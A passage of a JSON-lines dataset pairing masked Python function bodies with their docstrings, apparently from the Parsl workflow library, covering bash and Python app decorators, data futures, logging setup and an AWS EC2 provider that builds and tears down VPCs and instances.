fd<EOL><DEDENT>std_out = open_std_fd('<STR_LIT>')<EOL>std_err = open_std_fd('<STR_LIT>')<EOL>timeout = kwargs.get('<STR_LIT>')<EOL>returncode = None<EOL>try:<EOL><INDENT>proc = subprocess.Popen(executable, stdout=std_out, stderr=std_err, shell=True, executable='<STR_LIT>')<EOL>proc.wait(timeout=timeout)<EOL>returncode = proc.returncode<EOL><DEDENT>except subprocess.TimeoutExpired:<EOL><INDENT>raise pe.AppTimeout(\"<STR_LIT>\".format(func_name, timeout))<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise pe.AppException(\"<STR_LIT>\".format(func_name, proc.returncode), e)<EOL><DEDENT>if returncode != <NUM_LIT:0>:<EOL><INDENT>raise pe.AppFailure(\"<STR_LIT>\".format(func_name, proc.returncode), proc.returncode)<EOL><DEDENT>missing = []<EOL>for outputfile in kwargs.get('<STR_LIT>', []):<EOL><INDENT>fpath = outputfile<EOL>if type(outputfile) != str:<EOL><INDENT>fpath = outputfile.filepath<EOL><DEDENT>if not os.path.exists(fpath):<EOL><INDENT>missing.extend([outputfile])<EOL><DEDENT><DEDENT>if missing:<EOL><INDENT>raise pe.MissingOutputs(\"<STR_LIT>\".format(func_name), missing)<EOL><DEDENT>return returncode<EOL>", "docstring": "Execute the bash app type function and return the command line string.\n\n    This string is reformatted with the *args, and **kwargs\n    from call time.", "id": "f2777:m0"}
{"signature": "def __call__(self, *args, **kwargs):", "body": "<EOL>self.kwargs.update(kwargs)<EOL>if self.data_flow_kernel is None:<EOL><INDENT>dfk = DataFlowKernelLoader.dfk()<EOL><DEDENT>else:<EOL><INDENT>dfk = self.data_flow_kernel<EOL><DEDENT>app_fut = dfk.submit(wrap_error(remote_side_bash_executor), self.func, *args,<EOL>executors=self.executors,<EOL>fn_hash=self.func_hash,<EOL>cache=self.cache,<EOL>**self.kwargs)<EOL>out_futs = [DataFuture(app_fut, o, tid=app_fut.tid)<EOL>for o in kwargs.get('<STR_LIT>', [])]<EOL>app_fut._outputs = out_futs<EOL>return app_fut<EOL>", "docstring": "Handle the call to a Bash app.\n\n        Args:\n             - Arbitrary\n\n        Kwargs:\n             - Arbitrary\n\n        Returns:\n             If outputs=[...] was a kwarg then:\n                   App_fut, [Data_Futures...]\n             else:\n                   App_fut", "id": "f2777:c0:m1"}
{"signature": "def __call__(self, *args, **kwargs):", "body": "if self.data_flow_kernel is None:<EOL><INDENT>dfk = DataFlowKernelLoader.dfk()<EOL><DEDENT>else:<EOL><INDENT>dfk = self.data_flow_kernel<EOL><DEDENT>app_fut = dfk.submit(self.func, *args,<EOL>executors=self.executors,<EOL>fn_hash=self.func_hash,<EOL>cache=self.cache,<EOL>**kwargs)<EOL>out_futs = [DataFuture(app_fut, o, tid=app_fut.tid)<EOL>for o in kwargs.get('<STR_LIT>', [])]<EOL>app_fut._outputs = out_futs<EOL>return app_fut<EOL>", "docstring": "This is where the call to a python app is handled.\n\n        Args:\n             - Arbitrary\n        Kwargs:\n             - Arbitrary\n\n        Returns:\n             If outputs=[...] was a kwarg then:\n                   App_fut, [Data_Futures...]\n             else:\n                   App_fut", "id": "f2778:c0:m1"}
{"signature": "def parent_callback(self, parent_fu):", "body": "if parent_fu.done() is True:<EOL><INDENT>e = parent_fu._exception<EOL>if e:<EOL><INDENT>super().set_exception(e)<EOL><DEDENT>else:<EOL><INDENT>super().set_result(self.file_obj)<EOL><DEDENT><DEDENT>return<EOL>", "docstring": "Callback from executor future to update the parent.\n\n        Args:\n            - parent_fu (Future): Future returned by the executor along with callback\n\n        Returns:\n            - None\n\n        Updates the super() with the result() or exception()", "id": "f2779:c0:m0"}
{"signature": "def __init__(self, fut, file_obj, tid=None):", "body": "super().__init__()<EOL>self._tid = tid<EOL>if isinstance(file_obj, str):<EOL><INDENT>self.file_obj = File(file_obj)<EOL><DEDENT>elif isinstance(file_obj, File):<EOL><INDENT>self.file_obj = file_obj<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.parent = fut<EOL>self._exception = None<EOL>if fut is None:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self.set_result(self.file_obj)<EOL><DEDENT>else:<EOL><INDENT>if isinstance(fut, Future):<EOL><INDENT>self.parent.add_done_callback(self.parent_callback)<EOL><DEDENT>else:<EOL><INDENT>raise NotFutureError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>logger.debug(\"<STR_LIT>\", self.parent)<EOL>logger.debug(\"<STR_LIT>\", self.filepath)<EOL>", "docstring": "Construct the DataFuture object.\n\n        If the file_obj is a string convert to a File.\n\n        Args:\n            - fut (AppFuture) : AppFuture that this DataFuture will track\n            - file_obj (string/File obj) : Something representing file(s)\n\n        Kwargs:\n            - tid (task_id) : Task id that this DataFuture tracks", "id": "f2779:c0:m1"}
{"signature": "@property<EOL><INDENT>def tid(self):<DEDENT>", "body": "return self._tid<EOL>", "docstring": "Returns the task_id of the task that will resolve this DataFuture.", "id": "f2779:c0:m2"}
{"signature": "@property<EOL><INDENT>def filepath(self):<DEDENT>", "body": "return self.file_obj.filepath<EOL>", "docstring": "Filepath of the File object this datafuture represents.", "id": "f2779:c0:m3"}
{"signature": "@property<EOL><INDENT>def filename(self):<DEDENT>", "body": "return self.filepath<EOL>", "docstring": "Filepath of the File object this datafuture represents.", "id": "f2779:c0:m4"}
{"signature": "def App(apptype, data_flow_kernel=None, walltime=<NUM_LIT>, cache=False, executors='<STR_LIT:all>'):", "body": "from parsl.app.python import PythonApp<EOL>from parsl.app.bash import BashApp<EOL>logger.warning(\"<STR_LIT>\")<EOL>if apptype == '<STR_LIT>':<EOL><INDENT>app_class = PythonApp<EOL><DEDENT>elif apptype == '<STR_LIT>':<EOL><INDENT>app_class = BashApp<EOL><DEDENT>else:<EOL><INDENT>raise InvalidAppTypeError(\"<STR_LIT>\".format(apptype))<EOL><DEDENT>def wrapper(f):<EOL><INDENT>return app_class(f,<EOL>data_flow_kernel=data_flow_kernel,<EOL>walltime=walltime,<EOL>cache=cache,<EOL>executors=executors)<EOL><DEDENT>return wrapper<EOL>", "docstring": "The App decorator function.\n\n    Args:\n        - apptype (string) : Apptype can be bash|python\n\n    Kwargs:\n        - data_flow_kernel (DataFlowKernel): The :class:`~parsl.dataflow.dflow.DataFlowKernel` responsible for\n          managing this app. This can be omitted only\n          after calling :meth:`parsl.dataflow.dflow.DataFlowKernelLoader.load`.\n        - walltime (int) : Walltime for app in seconds,\n             default=60\n        - executors (str|list) : Labels of the executors that this app can execute over. Default is 'all'.\n        - cache (Bool) : Enable caching of the app call\n             default=False\n\n    Returns:\n         A PythonApp or BashApp object, which when called runs the apps through the executor.", "id": "f2780:m0"}
{"signature": "def python_app(function=None, data_flow_kernel=None, walltime=<NUM_LIT>, cache=False, executors='<STR_LIT:all>'):", "body": "from parsl.app.python import PythonApp<EOL>def decorator(func):<EOL><INDENT>def wrapper(f):<EOL><INDENT>return PythonApp(f,<EOL>data_flow_kernel=data_flow_kernel,<EOL>walltime=walltime,<EOL>cache=cache,<EOL>executors=executors)<EOL><DEDENT>return wrapper(func)<EOL><DEDENT>if function is not None:<EOL><INDENT>return decorator(function)<EOL><DEDENT>return decorator<EOL>", "docstring": "Decorator function for making python apps.\n\n    Parameters\n    ----------\n    function : function\n        Do not pass this keyword argument directly. This is needed in order to allow for omitted parenthesis,\n        for example, `@python_app` if using all defaults or `@python_app(walltime=120)`. If the\n        decorator is used alone, function will be the actual function being decorated, whereas if it\n        is called with arguments, function will be None. Default is None.\n    data_flow_kernel : DataFlowKernel\n        The :class:`~parsl.dataflow.dflow.DataFlowKernel` responsible for managing this app. This can\n        be omitted only after calling :meth:`parsl.dataflow.dflow.DataFlowKernelLoader.load`. Default is None.\n    walltime : int\n        Walltime for app in seconds. Default is 60.\n    executors : string or list\n        Labels of the executors that this app can execute over. Default is 'all'.\n    cache : bool\n        Enable caching of the app call. Default is False.", "id": "f2780:m1"}
{"signature": "def bash_app(function=None, data_flow_kernel=None, walltime=<NUM_LIT>, cache=False, executors='<STR_LIT:all>'):", "body": "from parsl.app.bash import BashApp<EOL>def decorator(func):<EOL><INDENT>def wrapper(f):<EOL><INDENT>return BashApp(f,<EOL>data_flow_kernel=data_flow_kernel,<EOL>walltime=walltime,<EOL>cache=cache,<EOL>executors=executors)<EOL><DEDENT>return wrapper(func)<EOL><DEDENT>if function is not None:<EOL><INDENT>return decorator(function)<EOL><DEDENT>return decorator<EOL>", "docstring": "Decorator function for making bash apps.\n\n    Parameters\n    ----------\n    function : function\n        Do not pass this keyword argument directly. This is needed in order to allow for omitted parenthesis,\n        for example, `@bash_app` if using all defaults or `@bash_app(walltime=120)`. If the\n        decorator is used alone, function will be the actual function being decorated, whereas if it\n        is called with arguments, function will be None. Default is None.\n    data_flow_kernel : DataFlowKernel\n        The :class:`~parsl.dataflow.dflow.DataFlowKernel` responsible for managing this app. This can\n        be omitted only after calling :meth:`parsl.dataflow.dflow.DataFlowKernelLoader.load`. Default is None.\n    walltime : int\n        Walltime for app in seconds. Default is 60.\n    executors : string or list\n        Labels of the executors that this app can execute over. Default is 'all'.\n    cache : bool\n        Enable caching of the app call. Default is False.", "id": "f2780:m2"}
{"signature": "def __init__(self, func, data_flow_kernel=None, walltime=<NUM_LIT>, executors='<STR_LIT:all>', cache=False):", "body": "self.__name__ = func.__name__<EOL>self.func = func<EOL>self.data_flow_kernel = data_flow_kernel<EOL>self.status = '<STR_LIT>'<EOL>self.executors = executors<EOL>self.cache = cache<EOL>if not (isinstance(executors, list) or isinstance(executors, str)):<EOL><INDENT>logger.error(\"<STR_LIT>\".format(<EOL>func.__name__))<EOL><DEDENT>if cache is True:<EOL><INDENT>try:<EOL><INDENT>self.fn_source = getsource(func)<EOL><DEDENT>except OSError:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self.fn_source = func.__name__<EOL><DEDENT>self.func_hash = md5(self.fn_source.encode('<STR_LIT:utf-8>')).hexdigest()<EOL><DEDENT>else:<EOL><INDENT>self.func_hash = func.__name__<EOL><DEDENT>params = signature(func).parameters<EOL>self.kwargs = {}<EOL>if '<STR_LIT>' in params:<EOL><INDENT>self.kwargs['<STR_LIT>'] = params['<STR_LIT>'].default<EOL><DEDENT>if '<STR_LIT>' in params:<EOL><INDENT>self.kwargs['<STR_LIT>'] = params['<STR_LIT>'].default<EOL><DEDENT>self.outputs = params['<STR_LIT>'].default if '<STR_LIT>' in params else []<EOL>self.inputs = params['<STR_LIT>'].default if '<STR_LIT>' in params else []<EOL>", "docstring": "Construct the App object.\n\n        Args:\n             - func (function): Takes the function to be made into an App\n\n        Kwargs:\n             - data_flow_kernel (DataFlowKernel): The :class:`~parsl.dataflow.dflow.DataFlowKernel` responsible for\n               managing this app. This can be omitted only\n               after calling :meth:`parsl.dataflow.dflow.DataFlowKernelLoader.load`.\n             - walltime (int) : Walltime in seconds for the app execution.\n             - executors (str|list) : Labels of the executors that this app can execute over. Default is 'all'.\n             - cache (Bool) : Enable caching of this app ?\n\n        Returns:\n             - App object.", "id": "f2780:c0:m0"}
{"signature": "@typeguard.typechecked<EOL>def set_stream_logger(name: str = '<STR_LIT>', level: int = logging.DEBUG, format_string: Optional[str] = None):", "body": "if format_string is None:<EOL><INDENT>format_string = \"<STR_LIT>\"<EOL><DEDENT>logger = logging.getLogger(name)<EOL>logger.setLevel(logging.DEBUG)<EOL>handler = logging.StreamHandler()<EOL>handler.setLevel(level)<EOL>formatter = logging.Formatter(format_string, datefmt='<STR_LIT>')<EOL>handler.setFormatter(formatter)<EOL>logger.addHandler(handler)<EOL>futures_logger = logging.getLogger(\"<STR_LIT>\")<EOL>futures_logger.addHandler(handler)<EOL>", "docstring": "Add a stream log handler.\n\n    Args:\n         - name (string) : Set the logger name.\n         - level (logging.LEVEL) : Set to logging.DEBUG by default.\n         - format_string (string) : Set to None by default.\n\n    Returns:\n         - None", "id": "f2781:m0"}
{"signature": "@typeguard.typechecked<EOL>def set_file_logger(filename: str, name: str = '<STR_LIT>', level: int = logging.DEBUG, format_string: Optional[str] = None):", "body": "if format_string is None:<EOL><INDENT>format_string = \"<STR_LIT>\"<EOL><DEDENT>logger = logging.getLogger(name)<EOL>logger.setLevel(logging.DEBUG)<EOL>handler = logging.FileHandler(filename)<EOL>handler.setLevel(level)<EOL>formatter = logging.Formatter(format_string, datefmt='<STR_LIT>')<EOL>handler.setFormatter(formatter)<EOL>logger.addHandler(handler)<EOL>futures_logger = logging.getLogger(\"<STR_LIT>\")<EOL>futures_logger.addHandler(handler)<EOL>", "docstring": "Add a stream log handler.\n\n    Args:\n        - filename (string): Name of the file to write logs to\n        - name (string): Logger name\n        - level (logging.LEVEL): Set the logging level.\n        - format_string (string): Set the format string\n\n    Returns:\n       -  None", "id": "f2781:m1"}
{"signature": "def initialize_boto_client(self):", "body": "self.session = self.create_session()<EOL>self.client = self.session.client('<STR_LIT>')<EOL>self.ec2 = self.session.resource('<STR_LIT>')<EOL>self.instances = []<EOL>self.instance_states = {}<EOL>self.vpc_id = <NUM_LIT:0><EOL>self.sg_id = <NUM_LIT:0><EOL>self.sn_ids = []<EOL>", "docstring": "Initialize the boto client.", "id": "f2782:c0:m1"}
{"signature": "def read_state_file(self, state_file):", "body": "try:<EOL><INDENT>fh = open(state_file, '<STR_LIT:r>')<EOL>state = json.load(fh)<EOL>self.vpc_id = state['<STR_LIT>']<EOL>self.sg_id = state['<STR_LIT>']<EOL>self.sn_ids = state['<STR_LIT>']<EOL>self.instances = state['<STR_LIT>']<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(e))<EOL>raise e<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>", "docstring": "Read the state file, if it exists.\n\n        If this script has been run previously, resource IDs will have been written to a\n        state file. On starting a run, a state file will be looked for before creating new\n        infrastructure. Information on VPCs, security groups, and subnets are saved, as\n        well as running instances and their states.\n\n        AWS has a maximum number of VPCs per region per account, so we do not want to\n        clutter users' AWS accounts with security groups and VPCs that will be used only\n        once.", "id": "f2782:c0:m2"}
{"signature": "def write_state_file(self):", "body": "fh = open('<STR_LIT>', '<STR_LIT:w>')<EOL>state = {}<EOL>state['<STR_LIT>'] = self.vpc_id<EOL>state['<STR_LIT>'] = self.sg_id<EOL>state['<STR_LIT>'] = self.sn_ids<EOL>state['<STR_LIT>'] = self.instances<EOL>state[\"<STR_LIT>\"] = self.instance_states<EOL>fh.write(json.dumps(state, indent=<NUM_LIT:4>))<EOL>", "docstring": "Save information that must persist to a file.\n\n        We do not want to create a new VPC and new identical security groups, so we save\n        information about them in a file between runs.", "id": "f2782:c0:m3"}
{"signature": "def create_session(self):", "body": "session = None<EOL>if self.key_file is not None:<EOL><INDENT>credfile = os.path.expandvars(os.path.expanduser(self.key_file))<EOL>try:<EOL><INDENT>with open(credfile, '<STR_LIT:r>') as f:<EOL><INDENT>creds = json.load(f)<EOL><DEDENT><DEDENT>except json.JSONDecodeError as e:<EOL><INDENT>logger.error(<EOL>\"<STR_LIT>\".format(self.label, credfile)<EOL>)<EOL>raise e<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.debug(<EOL>\"<STR_LIT>\".format(<EOL>self.label, credfile<EOL>)<EOL>)<EOL>raise e<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(self.label))<EOL>session = boto3.session.Session(region_name=self.region, **creds)<EOL><DEDENT>elif self.profile is not None:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(self.label))<EOL>session = boto3.session.Session(<EOL>profile_name=self.profile, region_name=self.region<EOL>)<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(self.label))<EOL>session = boto3.session.Session(region_name=self.region)<EOL><DEDENT>return session<EOL>", "docstring": "Create a session.\n\n        First we look in self.key_file for a path to a json file with the\n        credentials. The key file should have 'AWSAccessKeyId' and 'AWSSecretKey'.\n\n        Next we look at self.profile for a profile name and try\n        to use the Session call to automatically pick up the keys for the profile from\n        the user default keys file ~/.aws/config.\n\n        Finally, boto3 will look for the keys in environment variables:\n        AWS_ACCESS_KEY_ID: The access key for your AWS account.\n        AWS_SECRET_ACCESS_KEY: The secret key for your AWS account.\n        AWS_SESSION_TOKEN: The session key for your AWS account.\n        This is only needed when you are using temporary credentials.\n        The AWS_SECURITY_TOKEN environment variable can also be used,\n        but is only supported for backwards compatibility purposes.\n        AWS_SESSION_TOKEN is supported by multiple AWS SDKs besides python.", "id": "f2782:c0:m4"}
{"signature": "def create_vpc(self):", "body": "try:<EOL><INDENT>vpc = self.ec2.create_vpc(<EOL>CidrBlock='<STR_LIT>',<EOL>AmazonProvidedIpv6CidrBlock=False,<EOL>)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.error(\"<STR_LIT>\".format(e))<EOL>raise e<EOL><DEDENT>internet_gateway = self.ec2.create_internet_gateway()<EOL>internet_gateway.attach_to_vpc(VpcId=vpc.vpc_id)  <EOL>self.internet_gateway = internet_gateway.id<EOL>route_table = self.config_route_table(vpc, internet_gateway)<EOL>self.route_table = route_table.id<EOL>availability_zones = self.client.describe_availability_zones()<EOL>for num, zone in enumerate(availability_zones['<STR_LIT>']):<EOL><INDENT>if zone['<STR_LIT>'] == \"<STR_LIT>\":<EOL><INDENT>subnet = vpc.create_subnet(<EOL>CidrBlock='<STR_LIT>'.format(<NUM_LIT:16> * num), AvailabilityZone=zone['<STR_LIT>']<EOL>)<EOL>subnet.meta.client.modify_subnet_attribute(<EOL>SubnetId=subnet.id, MapPublicIpOnLaunch={\"<STR_LIT>\": True}<EOL>)<EOL>route_table.associate_with_subnet(SubnetId=subnet.id)<EOL>self.sn_ids.append(subnet.id)<EOL><DEDENT>else:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(zone['<STR_LIT>']))<EOL><DEDENT><DEDENT>self.security_group(vpc)<EOL>self.vpc_id = vpc.id<EOL>return vpc<EOL>", "docstring": "Create and configure VPC\n\n        We create a VPC with CIDR 10.0.0.0/16, which provides up to 64,000 instances.\n\n        We attach a subnet for each availability zone within the region specified in the\n        config. We give each subnet an ip range like 10.0.X.0/20, which is large enough\n        for approx. 4000 instances.\n\n        Security groups are configured in function security_group.", "id": "f2782:c0:m5"}
{"signature": "def security_group(self, vpc):", "body": "sg = vpc.create_security_group(<EOL>GroupName=\"<STR_LIT>\", Description=\"<STR_LIT>\"<EOL>)<EOL>ip_ranges = [{'<STR_LIT>': '<STR_LIT>'}]<EOL>in_permissions = [<EOL>{<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': ip_ranges,<EOL>}, {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': ip_ranges,<EOL>}, {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': -<NUM_LIT:1>,<EOL>'<STR_LIT>': -<NUM_LIT:1>,<EOL>'<STR_LIT>': [{<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}],<EOL>}, {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': [{<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}],<EOL>}<EOL>]<EOL>out_permissions = [<EOL>{<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': [{<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}],<EOL>},<EOL>{<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': ip_ranges,<EOL>},<EOL>{<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT:0>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': ip_ranges,<EOL>},<EOL>]<EOL>sg.authorize_ingress(IpPermissions=in_permissions)<EOL>sg.authorize_egress(IpPermissions=out_permissions)<EOL>self.sg_id = sg.id<EOL>return sg<EOL>", "docstring": "Create and configure a new security group.\n\n        Allows all ICMP in, all TCP and UDP in within VPC.\n\n        This security group is very open. It allows all incoming ping requests on all\n        ports. It also allows all outgoing traffic on all ports. This can be limited by\n        changing the allowed port ranges.\n\n        Parameters\n        ----------\n        vpc : VPC instance\n            VPC in which to set up security group.", "id": "f2782:c0:m6"}
{"signature": "def config_route_table(self, vpc, internet_gateway):", "body": "route_table = vpc.create_route_table()<EOL>route_table.create_route(<EOL>DestinationCidrBlock='<STR_LIT>', GatewayId=internet_gateway.internet_gateway_id<EOL>)<EOL>return route_table<EOL>", "docstring": "Configure route table for Virtual Private Cloud (VPC).\n\n        Parameters\n        ----------\n        vpc : dict\n            Representation of the VPC (created by create_vpc()).\n        internet_gateway : dict\n            Representation of the internet gateway (created by create_vpc()).", "id": "f2782:c0:m7"}
{"signature": "def spin_up_instance(self, command, job_name):", "body": "command = Template(template_string).substitute(jobname=job_name,<EOL>user_script=command,<EOL>linger=str(self.linger).lower(),<EOL>worker_init=self.worker_init)<EOL>instance_type = self.instance_type<EOL>subnet = self.sn_ids[<NUM_LIT:0>]<EOL>ami_id = self.image_id<EOL>total_instances = len(self.instances)<EOL>if float(self.spot_max_bid) > <NUM_LIT:0>:<EOL><INDENT>spot_options = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': {<EOL>'<STR_LIT>': str(self.spot_max_bid),<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}<EOL>}<EOL><DEDENT>else:<EOL><INDENT>spot_options = {}<EOL><DEDENT>if total_instances > self.max_nodes:<EOL><INDENT>logger.warn(\"<STR_LIT>\".format(self.max_nodes))<EOL>return [None]<EOL><DEDENT>try:<EOL><INDENT>tag_spec = [{\"<STR_LIT>\": \"<STR_LIT>\", \"<STR_LIT>\": [{'<STR_LIT>': '<STR_LIT:Name>', '<STR_LIT>': job_name}]}]<EOL>instance = self.ec2.create_instances(<EOL>MinCount=<NUM_LIT:1>,<EOL>MaxCount=<NUM_LIT:1>,<EOL>InstanceType=instance_type,<EOL>ImageId=ami_id,<EOL>KeyName=self.key_name,<EOL>SubnetId=subnet,<EOL>SecurityGroupIds=[self.sg_id],<EOL>TagSpecifications=tag_spec,<EOL>InstanceMarketOptions=spot_options,<EOL>InstanceInitiatedShutdownBehavior='<STR_LIT>',<EOL>IamInstanceProfile={'<STR_LIT>': self.iam_instance_profile_arn},<EOL>UserData=command<EOL>)<EOL><DEDENT>except ClientError as e:<EOL><INDENT>print(e)<EOL>logger.error(e.response)<EOL>return [None]<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.error(\"<STR_LIT>\".format(e))<EOL>return [None]<EOL><DEDENT>self.instances.append(instance[<NUM_LIT:0>].id)<EOL>logger.info(<EOL>\"<STR_LIT>\".format(instance[<NUM_LIT:0>].id, instance_type)<EOL>)<EOL>return instance<EOL>", "docstring": "Start an instance in the VPC in the first available subnet.\n\n        N instances will be started if nodes_per_block > 1.\n        Not supported. We only do 1 node per block.\n\n        Parameters\n        ----------\n        command : str\n            Command string to execute on the node.\n        job_name : str\n            Name associated with the instances.", "id": "f2782:c0:m9"}
{"signature": "def shut_down_instance(self, instances=None):", "body": "if instances and len(self.instances) > <NUM_LIT:0>:<EOL><INDENT>print(instances)<EOL>try:<EOL><INDENT>print([i.id for i in instances])<EOL><DEDENT>except Exception as e:<EOL><INDENT>print(e)<EOL><DEDENT>term = self.client.terminate_instances(InstanceIds=instances)<EOL>logger.info(\"<STR_LIT>\".format(len(instances), str(instances)))<EOL><DEDENT>elif len(self.instances) > <NUM_LIT:0>:<EOL><INDENT>instance = self.instances.pop()<EOL>term = self.client.terminate_instances(InstanceIds=[instance])<EOL>logger.info(\"<STR_LIT>\".format(instance))<EOL><DEDENT>else:<EOL><INDENT>logger.warn(\"<STR_LIT>\")<EOL>return -<NUM_LIT:1><EOL><DEDENT>self.get_instance_state()<EOL>return term<EOL>", "docstring": "Shut down a list of instances, if provided.\n\n        If no instance is provided, the last instance started up will be shut down.", "id": "f2782:c0:m10"}
{"signature": "def get_instance_state(self, instances=None):", "body": "if instances:<EOL><INDENT>desc = self.client.describe_instances(InstanceIds=instances)<EOL><DEDENT>else:<EOL><INDENT>desc = self.client.describe_instances(InstanceIds=self.instances)<EOL><DEDENT>for i in range(len(desc['<STR_LIT>'])):<EOL><INDENT>instance = desc['<STR_LIT>'][i]['<STR_LIT>'][<NUM_LIT:0>]<EOL>self.instance_states[instance['<STR_LIT>']] = instance['<STR_LIT>']['<STR_LIT:Name>']<EOL><DEDENT>return self.instance_states<EOL>", "docstring": "Get states of all instances on EC2 which were started by this file.", "id": "f2782:c0:m11"}
{"signature": "def status(self, job_ids):", "body": "all_states = []<EOL>status = self.client.describe_instances(InstanceIds=job_ids)<EOL>for r in status['<STR_LIT>']:<EOL><INDENT>for i in r['<STR_LIT>']:<EOL><INDENT>instance_id = i['<STR_LIT>']<EOL>instance_state = translate_table.get(i['<STR_LIT>']['<STR_LIT:Name>'], '<STR_LIT>')<EOL>self.resources[instance_id]['<STR_LIT:status>'] = instance_state<EOL>all_states.extend([instance_state])<EOL><DEDENT><DEDENT>return all_states<EOL>", "docstring": "Get the status of a list of jobs identified by their ids.\n\n        Parameters\n        ----------\n        job_ids : list of str\n            Identifiers for the jobs.\n\n        Returns\n        -------\n        list of int\n            The status codes of the requsted jobs.", "id": "f2782:c0:m12"}
{"signature": "def submit(self, command='<STR_LIT>', blocksize=<NUM_LIT:1>, tasks_per_node=<NUM_LIT:1>, job_name=\"<STR_LIT>\"):", "body": "job_name = \"<STR_LIT>\".format(time.time())<EOL>wrapped_cmd = self.launcher(command,<EOL>tasks_per_node,<EOL>self.nodes_per_block)<EOL>[instance, *rest] = self.spin_up_instance(command=wrapped_cmd, job_name=job_name)<EOL>if not instance:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(instance.instance_id))<EOL>state = translate_table.get(instance.state['<STR_LIT:Name>'], \"<STR_LIT>\")<EOL>self.resources[instance.instance_id] = {<EOL>\"<STR_LIT>\": instance.instance_id,<EOL>\"<STR_LIT>\": instance,<EOL>\"<STR_LIT:status>\": state<EOL>}<EOL>return instance.instance_id<EOL>", "docstring": "Submit the command onto a freshly instantiated AWS EC2 instance.\n\n        Submit returns an ID that corresponds to the task that was just submitted.\n\n        Parameters\n        ----------\n        command : str\n            Command to be invoked on the remote side.\n        blocksize : int\n            Number of blocks requested.\n        tasks_per_node : int (default=1)\n            Number of command invocations to be launched per node\n        job_name : str\n            Prefix for the job name.\n\n        Returns\n        -------\n        None or str\n            If at capacity, None will be returned. Otherwise, the job identifier will be returned.", "id": "f2782:c0:m13"}
{"signature": "def cancel(self, job_ids):", "body": "if self.linger is True:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return [False for x in job_ids]<EOL><DEDENT>try:<EOL><INDENT>self.client.terminate_instances(InstanceIds=list(job_ids))<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.error(\"<STR_LIT>\".format(job_ids))<EOL>raise e<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(job_ids))<EOL><DEDENT>for job_id in job_ids:<EOL><INDENT>self.resources[job_id][\"<STR_LIT:status>\"] = \"<STR_LIT>\"<EOL><DEDENT>for job_id in job_ids:<EOL><INDENT>self.instances.remove(job_id)<EOL><DEDENT>return [True for x in job_ids]<EOL>", "docstring": "Cancel the jobs specified by a list of job ids.\n\n        Parameters\n        ----------\n        job_ids : list of str\n            List of of job identifiers\n\n        Returns\n        -------\n        list of bool\n            Each entry in the list will contain False if the operation fails. Otherwise, the entry will be True.", "id": "f2782:c0:m14"}
{"signature": "def show_summary(self):", "body": "self.get_instance_state()<EOL>status_string = \"<STR_LIT>\".format(<EOL>self.vpc_id, self.sn_ids, self.sg_id, self.instances<EOL>)<EOL>status_string += \"<STR_LIT>\"<EOL>self.get_instance_state()<EOL>for state in self.instance_states.keys():<EOL><INDENT>status_string += \"<STR_LIT>\".format(<EOL>state, self.instance_states[state]<EOL>)<EOL><DEDENT>status_string += \"<STR_LIT:\\n>\"<EOL>logger.info(status_string)<EOL>return status_string<EOL>", "docstring": "Print human readable summary of current AWS state to log and to console.", "id": "f2782:c0:m15"}
{"signature": "def teardown(self):", "body": "self.shut_down_instance(self.instances)<EOL>self.instances = []<EOL>try:<EOL><INDENT>self.client.delete_internet_gateway(InternetGatewayId=self.internet_gateway)<EOL>self.internet_gateway = None<EOL>self.client.delete_route_table(RouteTableId=self.route_table)<EOL>self.route_table = None<EOL>for subnet in list(self.sn_ids):<EOL><INDENT>self.client.delete_subnet(SubnetId=subnet)<EOL>self.sn_ids.remove(subnet)<EOL><DEDENT>self.client.delete_security_group(GroupId=self.sg_id)<EOL>self.sg_id = None<EOL>self.client.delete_vpc(VpcId=self.vpc_id)<EOL>self.vpc_id = None<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.error(\"<STR_LIT:{}>\".format(e))<EOL>raise e<EOL><DEDENT>self.show_summary()<EOL>os.remove(self.config['<STR_LIT>'])<EOL>", "docstring": "Teardown the EC2 infastructure.\n\n        Terminate all EC2 instances, delete all subnets, delete security group, delete VPC,\n        and reset all instance variables.", 